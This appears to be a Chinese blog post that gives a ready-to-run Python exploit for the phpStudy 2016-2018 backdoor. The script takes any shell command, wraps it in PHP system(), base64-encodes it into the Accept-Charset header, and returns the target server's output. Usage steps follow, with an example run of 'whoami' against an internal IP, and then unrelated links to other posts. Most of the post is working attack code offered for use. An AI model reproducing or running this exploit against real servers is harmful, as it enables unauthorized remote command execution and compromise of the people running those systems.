phpstudy_2016-2018_rce

phpstudy_2016-2018_rce

代码

python 复制代码
import base64
import requests
import sys

banner="""
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - Order
Usage: python *.py http://10.9.47.154/phpinfo.php whoami

"""
# 错误时的提示信息


def attack(url,cmd):           # 攻击函数体
    cmd=f"system('{cmd}');"
    # 将命令包装system()
    cmd=base64.b64encode(cmd.encode()).decode()
    # 将命令二进制编码解码以及base64编码
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "Accept-Encoding" : "gzip,deflate",
        "Accept-Charset"  : f"{cmd}"
    }
    # 请求头信息
    res=requests.get(url=url,headers=headers)
    html=res.content.decode("GBK")
    # 使用GBK解码
    num=html.find("<!DOCTYPE html")
    # 截取命令回显部分
    result=html[:num].strip()
    return result
try:
    url=sys.argv[1]
    cmd=sys.argv[2]
    # 获取两个变量值
    attack(url,cmd)
except:
    print(banner)
    # 错误时输出banner
else:
    print(attack(url,cmd))

使用方法

复制代码
python 文件名.py 目标页面url 执行的命令
例如
python attack.py http://10.9.47.154/phpinfo.php whoami

正确执行时

错误执行时

相关推荐
清水白石00820 分钟前
深入 Python 的底层世界:从 C 扩展到 ctypes 与 Cython 的本质差异全解析
c语言·python·neo4j
Data-Miner20 分钟前
精品可编辑PPT | 大模型与智能体安全风险治理与防护
安全
Amelia11111127 分钟前
day49
python
IT=>小脑虎1 小时前
2026版 Python零基础小白学习知识点【基础版详解】
开发语言·python·学习
我想吃烤肉肉1 小时前
Playwright中page.locator和Selenium中find_element区别
爬虫·python·测试工具·自动化
rabbit_pro1 小时前
Java使用Mybatis-Plus封装动态数据源工具类
java·python·mybatis
Bug.ink1 小时前
BUUCTF——WEB(7)
web安全·网络安全·buuctf
heze091 小时前
sqli-labs-Less-6自动化注入方法
mysql·网络安全·自动化
Learner1 小时前
Python运算符
开发语言·python
heze091 小时前
sqli-labs-Less-8自动化注入方法
mysql·网络安全·自动化